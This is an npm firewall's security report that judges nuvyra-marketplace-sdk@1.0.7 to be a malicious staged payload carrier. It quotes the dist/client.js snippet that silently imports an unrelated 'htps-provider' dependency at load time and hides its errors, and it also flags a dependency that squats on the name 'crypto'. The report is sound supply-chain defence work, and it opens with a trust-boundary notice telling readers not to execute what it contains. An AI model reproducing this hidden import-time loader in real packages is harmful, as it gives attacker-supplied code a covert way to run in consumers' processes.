---
canonical: "https://firewall.lpm.dev/npm/nuvyra-marketplace-sdk/v/1.0.7"
markdown: "https://firewall.lpm.dev/npm/nuvyra-marketplace-sdk/v/1.0.7.md"
package: "nuvyra-marketplace-sdk"
report_status: "published"
title: "nuvyra-marketplace-sdk@1.0.7 npm security report"
verdict: "malicious"
version: "1.0.7"
---

# nuvyra-marketplace-sdk@1.0.7 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The dependency's code executes in the importing process without an explicit SDK action.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Staged Payload Carrier
- **Selected version:** 1.0.7
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Importing the SDK silently activates a runtime dependency unrelated to its marketplace API. This makes the package a staged payload carrier.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 89.0%
- **Started:** 2026-08-27T10:32:18.966Z
- **Finished:** 2026-08-27T10:33:52.325Z
- **Download time:** 254 ms
- **Static scan time:** 20 ms
- **AI review time:** 93085 ms
- **Total time:** 93359 ms

## Security analysis

### Published attack-surface review

- **Summary:** Importing the SDK silently activates a runtime dependency unrelated to its marketplace API. This makes the package a staged payload carrier.

- **Trigger:** Importing nuvyra-marketplace-sdk.

- **Impact:** The dependency's code executes in the importing process without an explicit SDK action.

- **Evidence paths:** dist/client.js, package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-27T10:33:52.325Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Import-time dynamic loading of htps-provider with errors hidden.

- **Attack narrative:** The exported SDK loads htps-provider immediately on module import, constructs its provider, and ignores failures. The documented marketplace client already uses ethers JsonRpcProvider, so this hidden secondary provider is not required for the stated SDK behavior. Its dependency name and import-time execution create a covert path for dependency-supplied code to run in every consumer process.

- **Rationale:** The package contains a concealed import-time dependency activation that is unrelated to the documented SDK and deliberately suppresses errors. Although the payload is not bundled here, this is a concrete staged execution path through a suspicious runtime dependency.

- **Files touched:** dist/client.js, package.json

### Review decision

- **Verdict:** Malicious

- **Confidence:** 89.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** The module silently imports the unrelated htps-provider dependency whenever the SDK is imported., The dynamic import runs outside any user-invoked SDK method and suppresses all errors., The package declares htps-provider as a runtime dependency despite using ethers for its documented RPC client.

- **Evidence against:** No npm install lifecycle hook executes package code; prepublishOnly only builds before publishing., The inspected package source contains no direct file harvesting, shell execution, or explicit exfiltration endpoint.

## Public findings

### 1. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 4. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 5. High: Node Builtin Dependency Squat
- **Category:** Manifest
- **Confidence:** 86.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.7/package.json>)

Package declares a runtime dependency whose name matches a Node built-in module.

Public source snippet (untrusted):

```json
Runtime dependency names matching Node built-ins: crypto
```

### 6. High: Suspicious Dependency Evidence
- **Category:** Dependency
- **Confidence:** 89.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.7/dist/client.js>)

The module silently imports the unrelated htps-provider dependency whenever the SDK is imported.

Public source snippet (untrusted):

```javascript
async function initializeProvider() {
    try {
        const { HttpProvider } = await import("htps-provider");
        const provider = new HttpProvider();
        if (!!provider)
            console.log("Server is running successfully!");
    }
    catch (error) { }
}
initializeProvider();
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublishOnly
- **Dependencies:** 4
- **Optional dependencies:** 0
- **Peer dependencies:** 1
- **Development dependencies:** 3
- **Published dependency-graph edges:** 5

### Published dependency entries
- axios ^1.8.1 (Dependency)
- crypto ^1.0.1 (Dependency)
- dotenv ^16.4.7 (Dependency)
- htps-provider ^1.0.11 (Dependency)
- ethers ^6.0.0 (PeerDependency)

## Package metadata
- **Package:** nuvyra-marketplace-sdk
- **Ecosystem:** npm
- **Version:** 1.0.7
- **License:** MIT
- **Version published:** 2026-08-26T19:16:35.519Z
- **Package first seen:** 2026-08-27T09:18:19.020Z
- **Package last seen:** 2026-08-27T14:47:20.293Z
- **Known versions:** 13
- **Latest version:** 1.0.12
- **Appeal under review:** No
- **Description:** Node SDK for NuvyraHub on-chain AI model marketplace — list models, acquire licenses, read listings
- **Keywords:** nuvyra, marketplace, ethereum, ethers, ai-models, nft, license
- **Runtime engines:** node: \>=18
- **Artifact files:** 19
- **Artifact unpacked size:** 54,524 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/nuvyra-marketplace-sdk/v/1.0.7>)
